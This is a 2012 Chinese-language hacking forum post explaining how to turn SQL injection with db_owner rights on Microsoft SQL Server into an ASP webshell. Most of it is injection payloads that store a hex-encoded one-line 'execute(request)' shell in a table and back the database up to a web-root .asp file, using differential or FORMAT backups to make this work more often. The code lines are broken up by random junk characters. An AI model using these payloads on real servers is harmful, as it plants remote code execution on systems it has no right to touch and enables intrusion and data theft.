找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2101|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
0 M. W1 n* a0 ?5 v. Z, `5 \9 ^7 D+ g7 n2 B
减少备份文件大小,得到可执行的webshell成功率提高不少
/ `; D; v6 p) n+ y# O$ }, k一利用差异备份
1 d: F" x9 p; I加一个参数WITH DIFFERENTIAL5 d" @; m, V0 e, y/ f! L
. z/ Z0 W6 {% E* }' [+ T/ I, H  h
1
( d8 C! d# I  o  A6 x' j; k2
, o% q& Q0 k$ h5 d; g( h. t39 B# Z9 R7 M; ~$ e! l
4
# q' {2 _' r4 C0 C) O/ L declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 I" N5 d0 X: n0 e1 D* ]create table [dbo].[xiaolu] ([cmd] [image]);0 T9 Z3 v' _9 {; J9 h6 y  l& c" s# h
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 W/ }9 S8 r5 j: B6 r4 {8 U, Cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL ( W* G+ V% m% g+ l1 i
$ L5 U8 c0 G  G) [: q! z
二利用完全FORMAT
( D6 Y2 E- T/ Q) ]. ?8 R% J2 Y加一个参数WITH FROMAT4 c+ n6 [# L8 j7 P9 U
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以7 w" ?9 }+ L' f; q
+ E7 I7 n: y/ A% r  `1 n* K
1& K) N9 T0 T, s9 z5 }/ W0 x" G9 r
2) I! j* x) q! H
3; Y4 |0 v/ L+ v
4, l# [+ W# I  G
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ i0 ~3 b- p) D5 W% fcreate table [dbo].[xiaolu] ([cmd] [image]);0 n' k& E* S* n3 e- X
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" f1 o% H: t* edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
8 S3 y4 [% V# ]3 e$ M1 ~& C2 ?$ D3 ]/ v# O, k! V. l8 J6 g$ z
总的来说就是那么简单几句,下面以备份数据库model为例子1 q* P7 X9 e1 T; s3 C) E
12 l. d5 r* d( |! r

+ `- R% m' i: ^& I# r1
- x1 A, h+ f: f; P" Q id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') + k" h& V- A0 S& V: {& L$ N% U! A; y' w

: v$ _# w3 ~( u23 u& H9 o4 i+ O

, C$ i. R  C# D5 h% I; l19 m: j, v: G# O6 b% [7 i
id=1;backup database model to disk='你的路径‘ with differential,format;-- 3 p8 p5 n: ^- J% W2 }2 S" f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表